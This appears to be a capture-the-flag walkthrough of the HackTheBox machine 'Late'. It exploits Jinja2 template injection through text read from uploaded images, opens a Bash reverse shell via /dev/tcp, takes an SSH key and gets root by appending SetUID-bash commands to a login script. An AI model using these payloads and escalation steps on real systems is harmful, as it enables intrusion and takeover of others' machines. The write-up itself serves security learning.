Late really had two steps. The first is to find a online image OCR website that is vulnerable to server-side template injection (SSTI) via the OCRed text in the image. This is relatively simple to find, but getting the fonts correct to exploit the vulnerability is a bit tricky. Still, some trial and error pays off, and results in a shell. From there, I’ll identify a script that’s running whenever someone logs in over SSH. The current user has append access to the file, and therefore I can add a malicious line to the script and connect over SSH to get execution as root. In Beyond Root, a YouTube video showing basic analysis of the webserver, from NGINX to Gunicorn to Python Flask.

Box Info

Name Late Late
Release Date 23 Apr 2022
Retire Date 30 Jul 2022
OS Linux Linux
Base Points Easy [20]
Rated Difficulty Rated difficulty for Late
Radar Graph Radar chart for Late
First Blood User 00 days, 03 hours, 07 mins, 15 seconds szymex73
First Blood Root 00 days, 03 hours, 16 mins, 01 seconds szymex73



nmap finds two open TCP ports, SSH (22) and HTTP (80):

oxdf@hacky$ nmap -p- --min-rate 10000
Starting Nmap 7.80 ( ) at 2022-07-25 15:49 UTC
Nmap scan report for
Host is up (0.096s latency).
Not shown: 65533 closed ports
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 7.83 seconds
oxdf@hacky$ nmap -p 22,80 -sCV
Starting Nmap 7.80 ( ) at 2022-07-25 15:49 UTC
Nmap scan report for
Host is up (0.090s latency).

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 02:5e:29:0e:a3:af:4e:72:9d:a4:fe:0d:cb:5d:83:07 (RSA)
|   256 41:e1:fe:03:a5:c7:97:c4:d5:16:77:f3:41:0c:e9:fb (ECDSA)
|_  256 28:39:46:98:17:1e:46:1a:1e:a1:ab:3b:9a:57:70:48 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Late - Best online image tools
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 10.05 seconds

Based on the OpenSSH version, the host is likely running Ubuntu bionic 18.04.

Website - TCP 80


There The site is for a set of online image tools:

The “Contact” link does lead to a form, but on submitting it, it just sends a GET request without the form data, so this is not a useful path.

In the “Frequently Asked Questions” section, there’s a paragraph with a link to images.late.htb:


I’ll add both the domain and the subdomain to my /etc/hosts file: late.htb images.late.htb

Running wfuzz -u -H "Host: FUZZ.late.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 9461 finds the images subdomain, but nothing else.

Tech Stack / Directory Brute Force

All of the page extensions are .html, and the HTTP headers don’t provide any additional information.

I’ll run feroxbuster against the site, but it doesn’t find anything worth looking into. There’s an /assets directory with static content like js, images, css, and fonts.


The site is a simple HTML form that claims it will convert an image to text:


It mentions using Flask, which is a Python-based web framework.

When I upload an image (the one I had for testing didn’t have any text in it), it returns a results.txt file:


I’ll go into KolourPaint (any paint application would do) and created a simple image:

When I upload that, it returns:

<p>This is a test

Shell as svc_acc

Identfy Vulnerability


There’s obviously some kind of optical character regocnition (OCR) going on at the server. If I think about how the text is handled, I can look for the most logical ways to exploit it.

The uploaded image is handled by Flask. It is most likely passed to a program like Tesseract OCR to do the OCR, and then the results are packaged into this HTML template and returned as results.txt.

The attack surface then is most likely a command injection where the uploaded image file is passed to the OCR application, or a template injection in how the response is processed into results.txt.

I can rule out (or at least de-prioritize) other attacks. I don’t see why there would be a database involved here, so SQL injection seems unlikely. Similarly, the results aren’t stored and displayed to any other users, so XSS doesn’t make much sense.

Command Injection - Fail

The simplest thing to look at is command injection. If the server is passing the filename to some kind of call to Bash to call the OCS program in an unsafe manner, then perhaps I can inject commands into that.

I’ll send the request uploading test.png to Burp Repeater, and resend it to make sure it works as expected, and it does. Then I’ll change the filename field to test.png;id, but it fails saying “Invalid Extension”:


That’s easily fixed, but it returns the OCRed text without issue:


I’ll try a few other things, like test$(id).png (to check for an alternative kind of injection), and test$(ping -c 2 to check for blind injection, but no change. It doesn’t seem like it’s command injectable. I’ll touch on why at the end of the video in Beyond Root.


The server is likely taking the OCR results and rendering them into a template using the Jinja templating engine. To test for server-side template injection (SSTI), I’ll send the following image:

When I upload this, if it returns “{{ 7*7 }}”, that shows the OCR read the text and returned it. However, it if returns “49”, then it shows my input was executed, which is evidence of SSTI. It returns:


Exploit SSTI

Finding Font

Flask uses the Jinja2 templating engine, and PayloadsAllTheThings has a nice Jinja2 section on its SSTI page. It recommends the following three payloads to turn SSTI into RCE:

{{ cycler.__init__.__globals__.os.popen('id').read() }}

{{ joiner.__init__.__globals__.os.popen('id').read() }}

{{ namespace.__init__.__globals__.os.popen('id').read() }}

The biggest challenge is going to be to get the OCR to correctly identify the characters correctly.

When I send {{ cycler.__init__.__globals__.os.popen('id').read() }}, it returns an error:


It’s important to note, it’s complaining about the lack of an init attribute. But I’m not trying to reference init, I’m trying to reference __init__ (said out loud as “dunder init”). It seems the OCR is missing the underscores.

I’ll remove the {{ }} from the image, and resubmit. It returns:

<p>cycler. init. globals__.os.popen('id').read()

It’s missing underscores before and after init, as well as before globals, and has inserted spaces.

I’ll try changing different fonts to see if I can find one that shows the right payload. Many people complained in reviews about this being really painful. I found the process to go smoothly by updating the image / font on one monitor in KolourPaint, hitting Ctrl-s to save, going back to the Late page (which already has the filename in the form), clicking “Scan Image”, and then opening the downloaded results.txt file worked pretty well, and I am able to test a font in 5-10 seconds.

The first one I’ll try, “aakar”, is really close:


But it’s using fancy quote marks, and that fails when I try to add back in the {{ }}:


When I get to FreeMono, it looks really close:

<p>cycler.__init__.__globals__.os.popen('id') .read()

There’s an extra space before .read(), but it might work if changing the spacing happens when I add {{ }}? I’ll try it:

It works:

<p>uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc)



To get a shell from this, I’ll update the payload with the shorted reverse shell I can think of:

I’ll create r with a basic Bash reverse shell (explained here)


bash -i >& /dev/tcp/ 0>&1

And host it with python3 -m http.server 80. On submitting, it gets r from my webserver: - - [25/Jul/2022 17:13:04] "GET /r HTTP/1.1" 200 -

And then there’s a connection at nc:

oxdf@hacky$ nc -lnvp 443
Listening on 443
Connection received on 55630
bash: cannot set terminal process group (1237): Inappropriate ioctl for device
bash: no job control in this shell

I’ll upgrade the shell using the standard tricks (explained here):

svc_acc@late:~/app$ script /dev/null -c bash
Script started, file is /dev/null
svc_acc@late:~/app$ ^Z
[1]+  Stopped                 nc -lnvp 443
oxdf@hacky$ stty raw -echo ; fg
nc -lnvp 443
reset: unknown terminal type unknown
Terminal type? screen

And grab user.txt:

svc_acc@late:~$ cat user.txt


There’s also a RSA key pair in /home/svc_acc/.ssh:

svc_acc@late:~/.ssh$ ls
authorized_keys  id_rsa

I’ll download id_rsa and use it to connect with an even more solid shell:

oxdf@hacky$ ssh -i ~/keys/late-svc_acc svc_acc@late.htb

Shell as root


Identify File

There’s an interesting file in /usr/local/sbin called Running LinPEAS calls it out a few times:

image-20220725162802389 image-20220725162830594 image-20220725162904695

I don’t typically get too excited about “.sh files in path”, but modified recently is interesting for sure, and the fact that it’s writable as well! That seems like a good combination to be part of an exploitation path.

To figure out if/how this script is being executed, I’ll look for it in /etc, where configuration files typically live on Linux:

svc_acc@late:~$ grep -r /etc/ 2>/dev/null
/etc/pam.d/sshd:session required /usr/local/sbin/

This shows that it’s running the script after each successful SSH login.

Running pspy can also reveal this, though not as a cron as is typically observed on HTB machines. If PSpy is running when someone connects to the box with SSH, it will show the various processes that kick off.

2022/07/25 20:49:09 CMD: UID=0    PID=25694  | /usr/sbin/sshd -D -R 
2022/07/25 20:49:09 CMD: UID=110  PID=25695  | sshd: [net]          
2022/07/25 20:49:10 CMD: UID=0    PID=25696  | sshd: svc_acc [priv] 
2022/07/25 20:49:10 CMD: UID=0    PID=25698  | /bin/bash /usr/local/sbin/ 
2022/07/25 20:49:10 CMD: UID=0    PID=25700  | /bin/bash /usr/local/sbin/ 
2022/07/25 20:49:10 CMD: UID=0    PID=25701  | sendmail: MTA: 26PKnA7E025701 localhost.localdomain []: DATA
2022/07/25 20:49:10 CMD: UID=1000 PID=25704  | sshd: svc_acc        
2022/07/25 20:49:10 CMD: UID=0    PID=25703  | sensible-mda svc_acc@new root 
2022/07/25 20:49:10 CMD: UID=0    PID=25702  | sendmail: MTA: ./26PKnA7E025701 from queue     
2022/07/25 20:49:10 CMD: UID=1000 PID=25705  | -bash 
2022/07/25 20:49:10 CMD: UID=1000 PID=25706  | 
2022/07/25 20:49:10 CMD: UID=???  PID=25708  | ???
2022/07/25 20:49:10 CMD: UID=1000 PID=25711  | -bash 
2022/07/25 20:49:10 CMD: UID=1000 PID=25710  | locale 
2022/07/25 20:49:10 CMD: UID=1000 PID=25714  | 
2022/07/25 20:49:10 CMD: UID=1000 PID=25713  | /bin/sh /usr/bin/lesspipe 
2022/07/25 20:49:10 CMD: UID=1000 PID=25712  | -bash 
2022/07/25 20:49:10 CMD: UID=???  PID=25717  | ???

The first three are the SSH daemon handling the connection. Then there’s two calls as root to Then a call to sendmail (which will make more sense after looking at the script), and then some other login stuff as scv_acc.

Script Analysis

The script itself is pretty simple:


SUBJECT="Email from Server Login: SSH Alert"

A SSH login was detected.

        User:        $PAM_USER
        User IP Host: $PAM_RHOST
        Service:     $PAM_SERVICE
        TTY:         $PAM_TTY
        Date:        `date`
        Server:      `uname -a`

if [ ${PAM_TYPE} = "open_session" ]; then
        echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}

It’s sending an email to root@late.htb with information about each SSH login.

I don’t see any way to abuse this directly.

Script Permissions

The script is owned by svc_acc, and is writable by this account as well:

svc_acc@late:~$ ls -l /usr/local/sbin/
-rwxr-xr-x 1 svc_acc svc_acc 433 Jul 25 21:01 /usr/local/sbin/

However, if I try to overwrite it, the system blocks it:

svc_acc@late:~$ echo > /usr/local/sbin/
-bash: /usr/local/sbin/ Operation not permitted

That’s because the a attribute is set, which says to only allow appending:

svc_acc@late:~$ lsattr /usr/local/sbin/
-----a--------e--- /usr/local/sbin/

Despite being the owner for the file, svc_acc is not able to remove that:

svc_acc@late:~$ chattr -a /usr/local/sbin/
chattr: Operation not permitted while setting flags on /usr/local/sbin/

That’s because (from the man page):

       a      A file with the 'a' attribute set can only be opened in
              append mode for writing.  Only the superuser or a process
              possessing the CAP_LINUX_IMMUTABLE capability can set or
              clear this attribute.

Still, appending is good enough for exploiting.

Also, it seems that every minute this file is getting reset to it’s original version, based on the timestamp analysis.


To exploit this, I’ll use the following line to create a SetUID Bash executable:

svc_acc@late:~$ echo -e "cp /bin/bash /tmp/.0xdf\nchmod 4755 /tmp/.0xdf"
cp /bin/bash /tmp/.0xdf
chmod 4755 /tmp/.0xdf
svc_acc@late:~$ echo -e "cp /bin/bash /tmp/.0xdf\nchmod 4755 /tmp/.0xdf" >> /usr/local/sbin/

Now I’ll log in over SSH as svc_acc, and there’s .0xdf owned by root with the SetUID bit on:

svc_acc@late:~$ ls -l /tmp/.0xdf
-rwsr-xr-x 1 root root 1113504 Jul 25 21:12 /tmp/.0xdf

I’ll run with -p to not drop privileges and get a root shell:

svc_acc@late:~$ /tmp/.0xdf -p

And read root.txt:

.0xdf-4.4# cat root.txt

Beyond Root

It’s always a good idea to use a root shell on a box to make sure you understand how the box is configured. Depending on your skill and experience, the level of understanding may vary, but there’s always something to learn.

In this video, I’ll walk through the basic configuration of the webserver, starting from NGINX, through Gunicorn and its service, then to the source files it runs, ending up at a Python Flask application.